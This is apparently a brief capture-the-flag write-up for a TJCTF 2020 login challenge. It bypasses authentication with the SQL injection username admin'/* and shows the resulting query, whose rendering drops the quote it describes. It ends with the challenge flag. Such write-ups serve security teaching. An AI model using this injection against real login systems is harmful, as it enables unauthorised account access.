> For the complete documentation index, see [llms.txt](https://the-winrars.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://the-winrars.gitbook.io/writeups/2020-writeups/tjctf/login-sequel.md).

# Login sequel

Set username to "admin'/\*" and the password to whatever this is so the command executed is

```sql
"SELECT username, password FROM `userandpassword` WHERE username='admin/*' AND password='<md5 HASH object @ 0x00000151246A95F8>'"
/* is a comment so everything after that is ignored.
```

EZ

## flag is tjctf{W0w\_wHa1\_a\_SqL1\_exPeRt!}